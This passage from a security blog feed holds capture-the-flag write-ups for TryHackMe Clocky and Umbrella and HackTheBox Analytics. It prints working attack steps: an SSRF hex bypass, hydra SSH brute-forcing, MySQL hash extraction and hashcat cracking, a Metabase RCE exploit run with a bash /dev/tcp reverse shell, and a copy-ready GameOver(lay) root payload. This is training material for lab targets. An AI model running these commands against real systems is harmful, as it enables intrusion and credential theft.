    <span class="n">req</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s">"http://</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">/password_reset?token="</span> <span class="o">+</span> <span class="n">token</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
    <span class="k">if</span> <span class="s">"&lt;h2&gt;Invalid token&lt;/h2&gt;"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">req</span><span class="p">.</span><span class="n">text</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Token: "</span><span class="p">,</span> <span class="n">token</span><span class="p">)</span>
        <span class="k">break</span>
</code></pre></div></div>

<p>(Now, I’ll be working on making it run every time)</p>

<p>When we have the token - change the password and log into administrator account</p>

<h3 id="dashboard">Dashboard</h3>

<p>Overall - dashboard looks like this
<img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ln4dabdd44wnwlx8atx7.png" alt="Image description" /></p>

<p>As you see, we have the third flag</p>

<p>From quick testing - this form gives us html that we pass in <code class="language-plaintext highlighter-rouge">location</code> filed</p>

<p>But we can’t access anything with <code class="language-plaintext highlighter-rouge">127</code> or <code class="language-plaintext highlighter-rouge">localhost</code> - it returns <code class="language-plaintext highlighter-rouge">Action not permitted</code> (As on the image)</p>

<p>We need to bypass it - Hex bypass from <code class="language-plaintext highlighter-rouge">book.hacktricks</code> worked for me</p>

<p>This one</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://0x7f000001/
</code></pre></div></div>

<p>This returns <code class="language-plaintext highlighter-rouge">&lt;h2&gt;</code> with <code class="language-plaintext highlighter-rouge">Dev internal storage</code> inside.
In <code class="language-plaintext highlighter-rouge">app.py</code> <code class="language-plaintext highlighter-rouge">database.sql</code> was mentioned</p>

<p>Maybe it’s there, try to download it by submitting</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://0x7f000001/database.sql
</code></pre></div></div>

<p>And there it is!</p>

<h3 id="sql-file">SQL file</h3>

<p>It got downloaded to <code class="language-plaintext highlighter-rouge">file.txt</code> - there is also the fourth flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#################################################
#					   	                        #
# Flag 4: [REDACTED]                            #
#					                        	#
#################################################
</code></pre></div></div>

<p>Analyising further - we find 2 passwords</p>

<p>Here:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">CREATE</span> <span class="k">USER</span> <span class="n">IF</span> <span class="k">NOT</span> <span class="k">EXISTS</span> <span class="s1">'clocky_user'</span><span class="o">@</span><span class="s1">'localhost'</span> <span class="n">IDENTIFIED</span> <span class="k">BY</span> <span class="s1">'[PASSWORD HERE REDACTED]'</span><span class="p">;</span>
<span class="k">GRANT</span> <span class="k">ALL</span> <span class="k">PRIVILEGES</span> <span class="k">ON</span> <span class="o">*</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'clocky_user'</span><span class="o">@</span><span class="s1">'localhost'</span> <span class="k">WITH</span> <span class="k">GRANT</span> <span class="k">OPTION</span><span class="p">;</span>
</code></pre></div></div>

<p>And here</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">passwords</span> <span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="nv">"[PASSWORD HERE REDACTED]"</span><span class="p">);</span>
</code></pre></div></div>

<p>Of course, passwords are other than <code class="language-plaintext highlighter-rouge">[PASSWORD HERE REDACTED]</code> - but they’ve been cut out, to not destory whole fun of hacking</p>

<h3 id="getting-ssh">Getting SSH</h3>

<p>Now it’s time to get SSH</p>

<p>From <code class="language-plaintext highlighter-rouge">app.py</code> I’ve extracted 2 more usernames <code class="language-plaintext highlighter-rouge">clarice</code> and <code class="language-plaintext highlighter-rouge">jane</code></p>

<p>Now, added them to <code class="language-plaintext highlighter-rouge">usernames.txt</code></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>usernames.txt
clarice
jane
clocky_user
administrator
</code></pre></div></div>

<p>And both passwords to <code class="language-plaintext highlighter-rouge">passwords.txt</code> - then with <code class="language-plaintext highlighter-rouge">hydra</code>, I started brute-force</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>hydra <span class="nt">-L</span> usernames.txt <span class="nt">-P</span> passwords.txt ssh://<span class="nv">$IP</span> <span class="nt">-V</span>

Hydra v9.5 <span class="o">(</span>c<span class="o">)</span> 2023 by van Hauser/THC &amp; David Maciejak - Please <span class="k">do </span>not use <span class="k">in </span>military or secret service organizations, or <span class="k">for </span>illegal purposes <span class="o">(</span>this is non-binding, these <span class="k">***</span> ignore laws and ethics anyway<span class="o">)</span><span class="nb">.</span>
<span class="o">[</span>...]

<span class="o">[</span>22][ssh] host: 10.10.76.120   login: clarice   password: <span class="o">[</span>REDACTED]
1 of 1 target successfully completed, 1 valid password found
Hydra <span class="o">(</span>https://github.com/vanhauser-thc/thc-hydra<span class="o">)</span> finished at 2024-04-01 15:12:56
</code></pre></div></div>

<p>Turns out, we can log to <code class="language-plaintext highlighter-rouge">ssh</code> with <code class="language-plaintext highlighter-rouge">clarice</code> user and one of the passwords</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh clarice@<span class="nv">$IP</span>
</code></pre></div></div>

<p>Flag is in <code class="language-plaintext highlighter-rouge">/home/clarice</code></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>flag5.txt
<span class="o">[</span>REDACTED]
</code></pre></div></div>

<p>Flag number 5  - last one left</p>

<p>Let’s get the root!</p>

<h3 id="privilege-escalation">Privilege escalation</h3>

<p>Hint says, there are passwords hidden in unsual places</p>

<p>First - in <code class="language-plaintext highlighter-rouge">/home/clarice/app/.env</code>, I’ve found database password</p>

<p>Combining it with <code class="language-plaintext highlighter-rouge">clocky_user</code> from <code class="language-plaintext highlighter-rouge">app.py</code>, we can log into mysql</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>mysql <span class="nt">-u</span> clocky_user <span class="nt">-p</span>
</code></pre></div></div>

<p>I searched for hashes to crack in <code class="language-plaintext highlighter-rouge">mysql</code> database, in table <code class="language-plaintext highlighter-rouge">user</code></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mysql</span><span class="o">&gt;</span> <span class="k">SELECT</span> <span class="nv">`Host`</span><span class="p">,</span> <span class="nv">`User`</span><span class="p">,</span> <span class="nv">`Authentication_string`</span><span class="p">,</span> <span class="nv">`plugin`</span>  <span class="k">FROM</span> <span class="nv">`user`</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-----------+------------------+------------------------------------------------------------------------+-----------------------+
| Host      | User             | Authentication_string                                                  | plugin                |
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
| %         | clocky_user      | $A$005$~g]5C]]hmVcZUf8oIT96B7VRZhQibsUhSe5eKbHm4Lq1ks8pzxDkNM9 | caching_sha2_password |
/xuiN2%#pIV5@8=o1xaxXD13/Mh0rlloe/WqcmmaBDMF6r7wjvFGgoTSaB | caching_sha2_password |
| localhost | clocky_user      | $A$005$cg▒|\&gt;B^:yCR0kSV+XwNDxm2lDD5W3J9551gjlVmOZ9Z9hH2Szailxm2VkL. | caching_sha2_password |
| localhost | debian-sys-maint | $A$005$Ebh3▒N5a#f6HM?xF*uSqjNbbUYGitDq/yFLM8LbauDh83QtraQaETy6nZWtWc2 | caching_sha2_password |
| localhost | dev              | $A$005$
8w|Q!N]rZX!mZ\?ok/WxQEdeRLNgqXpWEf4sJonZecawFUizD8FokeI5F. | caching_sha2_password |
| localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password |
| localhost | mysql.session    | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password |
| localhost | mysql.sys        | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password |
| localhost | root             |                                                                        | auth_socket           |
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
</code></pre></div></div>

<p>Sadly, none of these strings worked as hashes. But with <a href="https://www.percona.com/blog/brute-force-mysql-password-from-a-hash/">this article</a> I’ve found a way to extract them</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mysql</span><span class="o">&gt;</span> <span class="k">SELECT</span> <span class="nv">`User`</span><span class="p">,</span> <span class="n">CONCAT</span><span class="p">(</span><span class="s1">'$mysql'</span><span class="p">,</span><span class="k">LEFT</span><span class="p">(</span><span class="n">authentication_string</span><span class="p">,</span><span class="mi">6</span><span class="p">),</span><span class="s1">'*'</span><span class="p">,</span><span class="k">INSERT</span><span class="p">(</span><span class="n">HEX</span><span class="p">(</span><span class="n">SUBSTR</span><span class="p">(</span><span class="n">authentication_string</span><span class="p">,</span><span class="mi">8</span><span class="p">)),</span><span class="mi">41</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="s1">'*'</span><span class="p">))</span> <span class="k">AS</span> <span class="n">hash</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span> <span class="k">WHERE</span> <span class="n">plugin</span> <span class="o">=</span> <span class="s1">'caching_sha2_password'</span> <span class="k">AND</span> <span class="n">authentication_string</span> <span class="k">NOT</span> <span class="k">LIKE</span> <span class="s1">'%INVALIDSALTANDPASSWORD%'</span> <span class="k">AND</span> <span class="n">authentication_string</span> <span class="o">!=</span><span class="s1">''</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------------------+----------------------------------------------------------------------------------------------------------------------------------------------+
| User             | hash                                                                                                                                         |
+------------------+----------------------------------------------------------------------------------------------------------------------------------------------+
| clocky_user      | $mysql$A$005*077E1B6B675D350F435D5D1C686D12566C08635A*5566386F49543936423756525A68516962735568536535654B62486D344C71316B7338707A78446B4E4D39 |
| dev              | $mysql$A$005*0D172F787569054E322523067049563540383D17*6F31786178584431332F4D6830726C6C6F652F5771636D6D6142444D46367237776A764647676F54536142 |
| clocky_user      | $mysql$A$005*63671A7C5C3E425E3A0C794352306B531456162B*58774E44786D326C44443557334A39353531676A6C566D4F5A395A39684832537A61696C786D32566B4C2E |
| debian-sys-maint | $mysql$A$005*456268331A4E3561236636480E4D3F78462A7553*716A4E6262555947697444712F79464C4D384C62617544683833517472615161455479366E5A5774576332 |
| dev              | $mysql$A$005*1C160A38777C5121134E5D725A58216D5A1D5C3F*6F6B2F577851456465524C4E6771587057456634734A6F6E5A656361774655697A4438466F6B654935462E |
+------------------+----------------------------------------------------------------------------------------------------------------------------------------------+
</code></pre></div></div>
<p>I’ve added <code class="language-plaintext highlighter-rouge">User</code> column for clarity</p>

<p>Now it’s time for cracking</p>

<p>I’ve saved first <code class="language-plaintext highlighter-rouge">dev</code> user hash to <code class="language-plaintext highlighter-rouge">hash1.txt</code> on my machine and used <code class="language-plaintext highlighter-rouge">hashcat</code></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>hashcat <span class="nt">-m</span> 7401 <span class="nt">-a</span> 0 hash1.txt /usr/share/wordlists/rockyou.txt <span class="nt">-O</span> <span class="nt">--session</span> hash1
hashcat <span class="o">(</span>v6.2.6<span class="o">)</span> starting

<span class="o">[</span>...]

<span class="nv">$mysql$A$005</span><span class="k">*</span>0D172F787569054E322523067049563540383D17<span class="k">*</span>6F31786178584431332F4D6830726C6C6F652F5771636D6D6142444D46367237776A764647676F54536142:[REDACTED]
                                                          
Session..........: hash1
Status...........: Cracked
Hash.Mode........: 7401 <span class="o">(</span>MySQL <span class="nv">$A$ </span><span class="o">(</span>sha256crypt<span class="o">))</span>
Hash.Target......: <span class="nv">$mysql$A$005</span><span class="k">*</span>0D172F787569054E322523067049563540383D...536142
Time.Started.....: Mon Apr  1 15:48:08 2024 <span class="o">(</span>7 mins, 22 secs<span class="o">)</span>
Time.Estimated...: Mon Apr  1 15:55:30 2024 <span class="o">(</span>0 secs<span class="o">)</span>
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File <span class="o">(</span>/usr/share/wordlists/rockyou.txt<span class="o">)</span>
Guess.Queue......: 1/1 <span class="o">(</span>100.00%<span class="o">)</span>
Speed.#1.........:      113 H/s <span class="o">(</span>21.26ms<span class="o">)</span> @ Accel:16 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 <span class="o">(</span>100.00%<span class="o">)</span> Digests <span class="o">(</span>total<span class="o">)</span>, 1/1 <span class="o">(</span>100.00%<span class="o">)</span> Digests <span class="o">(</span>new<span class="o">)</span>
Progress.........: 49975/14344385 <span class="o">(</span>0.35%<span class="o">)</span>
Rejected.........: 23/49975 <span class="o">(</span>0.05%<span class="o">)</span>
Restore.Point....: 49959/14344385 <span class="o">(</span>0.35%<span class="o">)</span>
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4096-5000
Candidate.Engine.: Device Generator
Candidates.#1....: asdqwe123 -&gt; angels22
Hardware.Mon.#1..: Util:100%

Started: Mon Apr  1 15:48:06 2024
Stopped: Mon Apr  1 15:55:32 2024
</code></pre></div></div>

<p>Password found! Go back to SSH and switch to root</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ su root
Password:

#
</code></pre></div></div>

<p>Then, last flag is in <code class="language-plaintext highlighter-rouge">/root/flag6.txt</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cat /root/flag6.txt
[REDACTED]
</code></pre></div></div>

<p>And that’s it - machine finally pwned</p>

<h2 id="conlcusion-and-my-opinion">Conlcusion and my opinion</h2>

<p>I liked this room a lot, even though I’ve spent 3 days on it.</p>

<p>Whole way of getting to the user was absolutly amazing and it was hard to find that last password.</p>

<p>It was also challenging, so I’d give it more medium-hard level.</p>

<p>It also made me realize how much I need to work on scripting.</p>

<p>Overall, I practised scripting, enumeration, hash cracking. I’ve learned how to find and crack mysql hashes and a little about python</p>

<p>That’s it</p>

<p>As most of websites run on PHP - check out my <a href="https://wizarddos.github.io/blog/series/php_0_to_hero.html">PHP course</a>. You’ll learn a lot about language and finally understand what’s going on in wordpress code</p>

<p>See you in next articles</p>]]></content><author><name>wizarddos</name></author><category term="tryhackme" /><summary type="html"><![CDATA[Hi there - new machine on tryhackme came out 3 days ago, so let’s crack it together. It’s called clocky. Name spoils a little of content. We’ve got 6 flags to grab. So, off we go]]></summary></entry><entry><title type="html">Analytics writeup (HackTheBox)</title><link href="https://wizarddos.github.io/blog/hackthebox/2024/03/08/analytics-writeup.html" rel="alternate" type="text/html" title="Analytics writeup (HackTheBox)" /><published>2024-03-08T00:00:00+00:00</published><updated>2024-03-08T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/hackthebox/2024/03/08/analytics-writeup</id><content type="html" xml:base="https://wizarddos.github.io/blog/hackthebox/2024/03/08/analytics-writeup.html"><![CDATA[<p>Hi there - that’s my first Hack The box writeup.
Today, I’ll cover <a href="https://app.hackthebox.com/machines/569">Analytics</a> box.</p>

<p>So, off we go
<!--more--></p>
<h2 id="recon">Recon</h2>
<p>First - I started rustscan</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ rustscan -a $IP
</code></pre></div></div>
<p>And it gave me 2 ports <code class="language-plaintext highlighter-rouge">22</code> and <code class="language-plaintext highlighter-rouge">80</code> - let’s enumerate further</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nmap -sC -sV -oN scan.txt $IP -p22,80    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-25 15:14 CET
Nmap scan report for 10.10.11.233
Host is up (0.033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div></div>
<p>We have also found a new domain - <code class="language-plaintext highlighter-rouge">http://analytical.htb/</code>
Add it to <code class="language-plaintext highlighter-rouge">/etc/hosts</code> with IP address</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo nano /etc/hosts
</code></pre></div></div>
<p>And then in new line</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Machine IP]      analytical.htb
</code></pre></div></div>
<p>Close editor with <code class="language-plaintext highlighter-rouge">Ctrl-X</code> and get to the site</p>
<h2 id="website-enumeration">Website enumeration</h2>

<p>In source code, we can see another subdomain - <code class="language-plaintext highlighter-rouge">data.analytical.htb</code></p>

<p>Append it to <code class="language-plaintext highlighter-rouge">/etc/hosts</code> as well</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo "[Machine IP]    data.analytical.htb"
</code></pre></div></div>

<p class="subtext">In there, we have <strong>metabase</strong> instance deployed
<img src="https://images.prismic.io/superpupertest/119ff6a6-3a33-47ba-a5ea-1fbe3c0ff516_metabase-login-page-in-browser.webp?auto=format&amp;w=680&amp;h=398.253&amp;dpr=3" alt="Image of the login page" />
(as for some reason, I can’t access to this machine - Image comes from <a href="https://maddevs.io/writeups/hackthebox-analytics/">Maddevs’ writeup</a>)</p>

<p>We don’t need to brute-force the password - as there is one exploit for this particular version of metabase</p>

<p><strong>CVE-2023-38646</strong></p>

<p>You can get the exploit from <a href="https://github.com/m3m0o/metabase-pre-auth-rce-poc">this Github repo</a></p>

<p>As <em>Usage</em> section says</p>
<blockquote>
  <p>The script needs the target URL, the setup token and a command that will be executed. The setup token can be obtained through the /api/session/properties endpoint. Copy the value of the setup-token key.</p>
</blockquote>

<p>So, we go to <code class="language-plaintext highlighter-rouge">http://data.analytical.htb/api/session/properties</code> and copy <code class="language-plaintext highlighter-rouge">setup-token</code> value</p>

<p>First, set up netcat listener so we can get reverse shell connection</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp 2000
</code></pre></div></div>
<p>Then, we can utilize this exploit</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 main.py -u http://data.analytical.htb -t [Your copied token] -c "bash -i 1&gt;&amp; /dev/tcp/[Your IP]/2000 0&gt;&amp;1"
</code></pre></div></div>

<p>When it’s executed - in terminal with netcat, we should have operating shell</p>

<h2 id="privilege-escalation">Privilege escalation</h2>

<p>We can’t really run <code class="language-plaintext highlighter-rouge">sudo</code>, nor any <code class="language-plaintext highlighter-rouge">cronjobs</code> are present</p>

<p>Maybe enviromental variables?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ env
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=d0ca4e533c16
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/metabase.db
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=4
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env
OLDPWD=/
</code></pre></div></div>

<p>We have 2 interesting values</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>META_USER=metalytics
META_PASS=An4lytics_ds20223#
</code></pre></div></div>

<p>Actually, this credentials can be used to log into SSH and exit the container we are in</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ssh metalytics@analytical.htb
</code></pre></div></div>

<p>So, inside SSH we can find <code class="language-plaintext highlighter-rouge">user.txt</code> file</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat user.txt
[REDACTED]
</code></pre></div></div>

<h3 id="getting-root">Getting Root</h3>

<p>This system is vulnerable to <strong>GameOver(lay)</strong> exploit</p>

<p>It consists of <strong>CVE-2023-2640</strong> and <strong>CVE-2023-32629</strong></p>

<p>If you want to know more - check <a href="https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/">CrowdStrike publication</a> about it</p>

<p>Right now, we can exploit it with simple payload</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>unshare -rm sh -c "mkdir l u w m &amp;&amp; cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &amp;&amp; touch m/*;" &amp;&amp; u/python3 -c 'import os;import pty;os.setuid(0);pty.spawn("/bin/bash")'
</code></pre></div></div>

<p>(I didn’t add thath <code class="language-plaintext highlighter-rouge">$</code> by default - so you can copy it)</p>

<p>Then, we should have root - get the flag</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cat /root/root.txt
[REDACTED]
</code></pre></div></div>

<p>And, that’s it
Machine Pwned</p>

<h2 id="conclusion">Conclusion</h2>

<p>I hope this walkthrough helped you - I actually liked hacking this machine</p>

<p>I’ve learned new exploits and overall pracised my enumeration skills</p>

<p>So, that’s it - see you next time</p>]]></content><author><name>wizarddos</name></author><category term="hackthebox" /><summary type="html"><![CDATA[Hi there - that’s my first Hack The box writeup. Today, I’ll cover Analytics box. So, off we go]]></summary></entry><entry><title type="html">Umbrella writeup (TryHackMe)</title><link href="https://wizarddos.github.io/blog/tryhackme/2024/01/20/umbrella_writeup.html" rel="alternate" type="text/html" title="Umbrella writeup (TryHackMe)" /><published>2024-01-20T00:00:00+00:00</published><updated>2024-01-20T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/tryhackme/2024/01/20/umbrella_writeup</id><content type="html" xml:base="https://wizarddos.github.io/blog/tryhackme/2024/01/20/umbrella_writeup.html"><![CDATA[<p>From what I’ve read in description - it’s based around some misconfigurations and docker</p>

<p>I can spoil you this - privesc is interesting</p>

<p>This challange is from <a href="https://tryhackme.com/room/umbrella">TryHackMe</a></p>

<!--more-->

<h3 id="port-scanning">Port scanning</h3>

<p>As always - first is nmap scan</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nmap -sC -sV -oN scan.txt $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-20 15:23 CET
Nmap scan report for 10.10.241.83
Host is up (0.043s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 f0:14:2f:d6:f6:76:8c:58:9a:8e:84:6a:b1:fb:b9:9f (RSA)
|   256 8a:52:f1:d6:ea:6d:18:b2:6f:26:ca:89:87:c9:49:6d (ECDSA)
|_  256 4b:0d:62:2a:79:5c:a0:7b:c4:f4:6c:76:3c:22:7f:f9 (ED25519)
3306/tcp open  mysql   MySQL 5.7.40
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.40
|   Thread ID: 5
|   Capabilities flags: 65535
|   Some Capabilities: SwitchToSSLAfterHandshake, FoundRows, LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, LongPassword, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, InteractiveClient, Speaks41ProtocolNew, SupportsLoadDataLocal, ODBCClient, SupportsCompression, DontAllowDatabaseTableColumn, ConnectWithDatabase, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: g(C\x1Fz}q\x0ErS\x06R
| w7*)~(\x1F
|_  Auth Plugin Name: mysql_native_password
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_5.7.40_Auto_Generated_Server_Certificate
| Not valid before: 2022-12-22T10:04:49
|_Not valid after:  2032-12-19T10:04:49
5000/tcp open  http    Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
8080/tcp open  http    Node.js (Express middleware)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div></div>

<p>Okay, we have</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">SSH</code></li>
  <li><code class="language-plaintext highlighter-rouge">MySQL</code></li>
  <li><code class="language-plaintext highlighter-rouge">Docker</code></li>
  <li><code class="language-plaintext highlighter-rouge">Node.js</code></li>
</ul>

<p>As for the website - we have login page
But there is <code class="language-plaintext highlighter-rouge">Docker Registry</code></p>

<h3 id="docker-registry-enumeration">Docker registry enumeration</h3>

<p>We’ll use tool called <a href="https://github.com/Syzik/DockerRegistryGrabber">DockerRegistryGrabber</a></p>

<p>Go to cloned catalogue and let’s start with listing available images</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python drg.py http://$IP --list
[+] umbrella/timetracking
</code></pre></div></div>

<p>There is one image - maybe there is something inside.</p>

<p>We should dump it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python drg.py http://$IP --dump umbrella/timetracking
[+] BlobSum found 23
[+] Dumping umbrella/timetracking
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : c9124d8ccff258cf42f1598eae732c3f530bf4cdfbd7c4cd7b235dfae2e0a549
    [+] Downloading : 62c454461c50ff8fb0d1c5d5ad8146203bb4505b30b9c27e6f05461b6d07edcb
    [+] Downloading : 82f3f98b46d4129f725cab6326d0521589d5b75ae0a480256495d216b2cd9216
    [+] Downloading : e5e56a29478cdf60132aa574648135a89299151414b465942a569f2109eefa65
    [+] Downloading : 7fbf137cf91ff826f2b2fddf3a30ea2e3d2e62d17525b708fd76db392e58df62
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : 15b79dac86ef36668f382565f91d1667f7a6fc876a3b58b508b6778d8ed71c0e
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : 23e2f216e8246d20ed3271ad109cec07f2a00b17bef8529708d8ae86100c7e03
    [+] Downloading : f897be510228b2f804fc2cb5d04cddae2e5689cbede553fb2d587c54be0ba762
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3241ece5841b2e29213eb450a1b29385bf9e0063c37978253c98ff517e6e1b3
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : 00fde01815c92cc90586fcf531723ab210577a0f1cb1600f08d9f8e12c18f108
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : 3f4ca61aafcd4fc07267a105067db35c0f0ac630e1970f3cd0c7bf552780e985

</code></pre></div></div>

<p>There is a bit of it -</p>

<p>using this command:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for </span>i <span class="k">in</span> <span class="k">*</span>.tar.gz<span class="p">;</span> <span class="k">do </span><span class="nb">tar</span> <span class="nt">-xzvf</span> <span class="nv">$i</span><span class="p">;</span> <span class="k">done</span>
</code></pre></div></div>

<p>I’ve unpacked and added everything into one folder</p>

<p>Here are most interesting parts</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">/etc/shadow</code> of docker container
